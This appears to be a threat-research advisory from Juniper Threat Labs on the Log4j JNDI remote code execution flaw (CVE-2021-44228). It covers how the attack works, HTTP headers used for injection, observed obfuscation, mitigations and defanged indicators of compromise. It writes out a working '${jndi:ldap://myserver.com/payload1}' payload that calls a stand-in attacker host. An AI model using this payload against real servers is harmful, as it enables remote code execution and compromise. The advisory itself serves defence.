Log4j is a popular logging library used in Java by a large number of applications online. To enhance its functionality from basic log formatting, Log4j added the ability to perform lookups: map lookups, system properties lookups as well as JNDI (Java Naming and Directory Interface) lookups. Log4j uses the JNDI API to obtain naming and directory services from several available service providers: LDAP (Lightweight Directory Access Protocol), COS (Common Object Services), Java RMI registry (Remote Method Invocation), DNS (Domain Name Service), etc.
Description of the CVE-2021-44228 vulnerability
Fig 1: Typical CVE-2021-44228 Exploitation Attack Pattern
Log4j versions 2.0 through 2.14.1 have been found to be vulnerable to a Remote Code Execution vulnerability due to the fact JNDI does not protect against attacker-controlled directory service providers.
Typically, a JDNI lookup would look like this:
${jndi:logging/context-name}
Which allows to retrieve variables to be included in the log. But with carefully crafted data to be logged, JNDI will attempt to retrieve the variable with whatever service is presented in the log entry, for example:
${jndi:ldap://myserver.com/payload1}
This log format will make JNDI retrieve the contents of payload1 from myserver.com. This can obviously be abused to provide malicious content to compromise the logging server.
But how does the attacker get this string over to Log4j in the first place?
The attacker has to know what is being logged by the application listening over the attacked port. For example, if the attack is on port 80 over http and the listener is a web server, the attacker knows the User-Agent string is usually logged by the server. Therefore, they would set the User-Agent string in their http request to ${jndi:ldap://myserver.com/payload1}. This is enough to trigger the vulnerability.
This is just an example. Web servers log many headers, therefore one has to be careful not to focus on just User-Agent. Referrer is another header that is typically logged as well as GET, X-Remote-IP, X-Forwarded-For, etc. There are dozens of headers that are typically logged. We provide below a list of headers that we have already seen used in exploit attempts in the wild.
For this attack to be complete, the attacker needs to host an “LDAP” server (which doesn’t have to be a real LDAP server at all) that will respond with the second stage payload of the attack. The response to the JNDI request will be used to build the location of the object at:
http://myserver.com/payload2.class
At this point, Log4j will fetch and run payload2.class in the server’s process, therefore allowing the attacker to execute this arbitrary code with the privileges of the web server’s process.
Fig 2: pcap showing JTL reproduction of the attack using LDAP as an attack vector.
The same approach can be used to trigger an RCE using RMI, since the attacker would reference rmi://myserver.com/payload, which is a class that will be loaded and executed by Log4j.
It is unclear at this point whether a DNS service would also lead to RCE.
Attacks in the wild
Fig 3: Log4j requests Juniper Threat Labs has seen over the past 3 days.
Juniper Threat Labs has been seeing some amount of scanning looking for vulnerable servers. A common method used by attackers is inserting the malicious request in the User-Agent header as most web servers will log this field to identify the browsers connecting to them. But we have also seen attacks where the malicious requests are injected in different headers such as the ones below:
- User-Agent:
- Authorization:
- CF-Connecting_IP:
- Client-IP:
- Contact:
- Cookie:
- Forwarded-For-Ip:
- Forwarded-For:
- Forwarded:
- From:
- Originating-IP:
- Proxy-Client-IP:
- Referer:
- True-Client-IP:
- X-Api-Version:
- X-Client-IP:
- X-Client-Ip:
- X-Forwarded-For:
- X-Host:
- X-Originating-Ip:
- X-Real-IP:
- X-Remote-Addr:
- X-Remote-Ip:
- X-Wap-Profile:
In addition to the straightforward attacks, we have also seen some connections that attempt to obfuscate the requests such as using {lower:} or {upper:} in the request:
Or using an HTTP post command and burying the malicious request in the POST body:
This POST form would probably not succeed at exploiting this Log4j vulnerability in most situations because POST body is usually not logged. Given the port number used (8983), this seems to be targeting Apache SOLR enterprise search platform, which does not log POST bodies.
Resolution
Apache has released Log4j version 2.15 which contains a fix for this CVE. It is recommended to immediately upgrade to this version.
Mitigation
If you cannot upgrade to the fixed version of Log4j, you can mitigate this vulnerability as follows:
- For versions 2.0 and before 2.10, Apache recommends removing the Jndi Lookup class from the classpath by running
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- For versions 2.10 and above, set the system property formatMsgNoLookups to true or set the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
- If you cannot do any of the above, you can block all outbound LDAP or RMI connections using Application Identity filters. Juniper SRX NG Firewall provides AppID signatures for both protocols.
Juniper Cloud Workload Protection customers already have native detection for this attack on protected applications and can block it. In the example below, you can see that Juniper’s CWP is detecting the LDAP remote access request as suspicious because it was initiated from content that was provided to the application via data input.
Juniper SRX Next Gen Firewall customers can block these attacks with the IDP sig pack #3444 (Enhanced in #3445), but there is always a chance of variations that are not handled by existing signatures. Juniper Threat Labs is keeping an eye on all the variations that show up and will immediately spin up enhanced signatures when needed.
Attack Variations Seen in the Wild
A number of these attacks are probes by security researchers, but unfortunately we have to consider them as potentially malicious until proven otherwise. Threat actors also mimic threat researchers in hopes of hiding in the grey noise.
Attack 1
Attack 2
Attack 3
Attack 4
This attack installs a linux Cryptominer e7c5b3de93a3184dc99c98c7f45e6ff5f6881b15d4a56c144e2e53e96dcc0e82
Attack 5
Attack 6
Attack 7
Indicators of Compromise
163[.]172[.]157[.]143:1389
185[.]250[.]148[.]157:1389
32fce0c1f193[.]bingsearchlib[.]com:39356
45[.]130[.]229[.]168:1389
45[.]155[.]205[.]233:12344
45[.]83[.]193[.]150:1389
92[.]242[.]40[.]21:5557
176[.]32[.]33[.]14
c6pa7pkpu896ceftu3j0cg3kemayys8b1[.]interactsh[.]com
remoteflipside[.]com:80